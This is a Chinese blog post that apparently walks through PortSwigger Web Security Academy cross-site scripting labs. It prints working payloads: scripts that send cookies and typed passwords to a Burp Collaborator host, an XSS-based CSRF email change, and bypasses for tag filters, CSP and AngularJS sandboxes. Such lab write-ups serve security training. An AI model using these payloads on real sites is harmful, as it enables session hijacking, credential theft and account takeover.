APPRENTICE

All labs | Web Security Academy (portswigger.net)

  1. 在 burp 中使用 Burp Collaborator Client,点击 copy to clipboard。

  2. 同时提交博客评论,修改 Burp Collaborator 子域名。

    1. 脚本的功能:查看评论的人发出 POST 请求以及 读取 cookie。
1
2
3
4
5
6
7
8
9
<script>
fetch('https://qe8bejkmbudhod20kznmpm8v5mbcz1.oastify.com', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

// document.cookie --> JavaScript 可以使用 document.cookie 属性来创建 、读取、及删除 cookie。
  1. 回到 Burp Collaborator,单击“Poll now”,以便看到 Http 交互从而找到 Cookie 值进行替换

  2. 刷新 Home 主页,在 Burp Repeater 中,Cookie 替换 Send 发送

image-20230130103303789

image-20230130103343932

15. 利用跨站点脚本捕获密码

依旧是在 burp 中使用 Burp Collaborator Client 功能,点击 copy to clipboard。然后评论博客注入脚本(查看评论的话,会发出包含其用户名和密码的 POST 请求)。

回到 Burp Collaborator,单击“Poll now”,找到用户名和密码进行登录即可

1
2
3
4
5
6
7
8
9
10
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://6pwdbg28z2wmxtzpbexotcyig9mzao.oastify.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

// onchange 事件 --> 当用户改变input输入框内容时执行一段Javascript代码:

administrator:2vlk8eidq808je5v2p8v

image-20230130110510636

16. 利用 XSS 执行 CSRF

先进行登录,在更新电子邮件的位置审查元素,会发现存在 CSRF Token,修改电子邮件获取 CSRF Token 的值

将以下脚本写入博客评论中

1
2
3
4
5
6
7
8
9
10
11
12
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

image-20230130112541146

17. 将 XSS 反射到 HTML 上下文中,大多数标签和属性被阻止

插入 XSS <img src=1 onerror=print()> 发现失败了,用 burp 抓包发送到 Burp Intruder 测试哪些标签和属性被阻止,先清除标签Clear §,然后将搜索词的值换为<§§>,在 XSS 备忘单点击Copy tags to clipboard

在 Burp Intruder 的 Payloads 选项卡中,单击“Paste”粘贴。点击“start attack”。看到了 body 和custom tags 响应 200,于是知道了 body 没有过滤

继而将搜索词的值换为<body%20§§=1>,在 XSS 备忘单点击Copy events to clipboard

Clear 删除之前的 Payload,paste 粘贴刚复制的,点击“start attack”,发现 onresize 响应 200

1
2
3
4
// 在 Go to exploit server 的 body 中
<iframe src="https://0a3600a6032533acc04d05d10149009f.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>

// search="><body onresize=print()>" --> search=%22%3E%3Cbody%20onresize=print()%3E"

image-20230130150738135

image-20230130151026396

image-20230130151944331

image-20230130152814429

18. 将 XSS 反射到 HTML 上下文中,除了自定义标签外,所有标签都被阻止

自定义标记 XSS

1
2
3
4
5
<script>
location = 'https://0ac80018037267b7c24cf04d00d300df.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>

// search=<xss+id=x+onfocus=alert(document.cookie) tabindex=1>#x';

19. 允许带有一些 SVG 标记的反射型 XSS

根据标题,测试一下是否可以用 <svg>。搜索框中输入

1
2
3
<svg><animatetransform onbegin=alert(1) attributeName=transform>

// onBegin() (当元素周期开始时由 onbegin 事件立即触发)

image-20230130162059302

20. 规范链接标签中反映的 XSS

1
2
3
https://0ad700e904e18a69c0580c0a00f50068.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)

%27accesskey=%27x%27onclick=%27alert(1) --> 'accesskey='x'onclick='alert(1)

21. 将 XSS 反射为带有单引号和反斜杠转义的 JavaScript 字符串

输入<script>alert(1)</script>发现(图一)

于是直接使用两个弹窗123"<script>alert(1)</script>"<script>alert(1)</script>(图二)

image-20230130172713720

(图一)

image-20230130173005006

(图二)

22. 将 XSS 反映到带有尖括号和双引号的 JavaScript 字符串中 HTML 编码和单引号转义

输入后的东西会先被 HTML 编码,然后再被 URL 编码

1
2
3
4
5
6
7
8
9
10
// 弹窗
<script>alert(1)</script>

// Html 编码
&lt;script&gt;alert(1)&lt;/script&gt;

// Url 编码
%26lt%3Bscript%26gt%3Balert(1)%26lt%3B%2Fscript%26gt%3B

// encodeURIComponent() 函数可把字符串作为 URI 组件进行编码。

注意到\没有进行编码

1
123\'+alert(1); //

image-20230130180134981

image-20230130180505555

image-20230130175802214

image-20230130181100907

image-20230130181400032

23. 将 XSS 反映到带有尖括号、单引号、双引号、反斜杠和反引号的模板文字中 Unicode 转义

HTML 解码:

http://aaa&apos;+alert(1)+&apos; --> http://aaa'+alert(1)+'

&apos; 进行 Html 解码后是 '

1
http://aaa&apos;+alert(1)+&apos;

image-20230130205928334

EXPERT

24. 带有事件处理程序和 href 属性的反射型 XSS 被阻止

模板字符串 - JavaScript | MDN (mozilla.org)

1
${alert(1)}

image-20230130210715760

image-20230130211313059

image-20230130211532105

25. 在 JavaScript URL 中反映了 XSS 并阻止了一些字符

1
<svg><a><animate attributeName=href values="javascript:alert(1)" dur=1s repeatCount=2 /><text x=20 y=20>Click Me</text></a>

image-20230130225905729

image-20230130225811179

26. 反射 XSS 与 AngularJS 沙箱转义没有字符串

1
2
3
4
5
6
7
// 问题点
angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
$scope.query = {};
var key = 'search';
$scope.query[key] = '123';
$scope.value = $parse(key)($scope.query);
});
1
https://0ae600a2036e6b38c13fc17000230068.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

27. 使用 AngularJS 沙箱转义和 CSP 的反射 XSS

1
2
3
<script>
location='https://0a140035033feb4dc106573801c300c2.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>

28. 受非常严格的 CSP 保护的反射型 XSS,带有悬挂标记攻击

目的是需要修改被害者的 Email 变成 hacker@evil-user.net

需要取 CSRF Token,然后 CSRF PoC 放入 Token,修改邮箱地址……

image-20230131113913514

30. 受 CSP 保护的反射型 XSS,绕过 CSP

预期解决方案只能在 Chrome 中使用。

1
2
3
4
5
6
7
8
9
https://0a2a00f0049fa705c2fbc4b600460008.web-security-academy.net/?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27

// 搜索search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27

//URL 解码后
<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'

// unsafe-inline 允许使用内联资源
// script-src-elem CSP 内容安全性策略

CSP: script-src-elem - HTTP | MDN (mozilla.org)

image-20230131115723705


© Rabbit 使用 Stellar 创建

✨ 营业:

共发表 56 篇Blog 🔸 总计 123.6k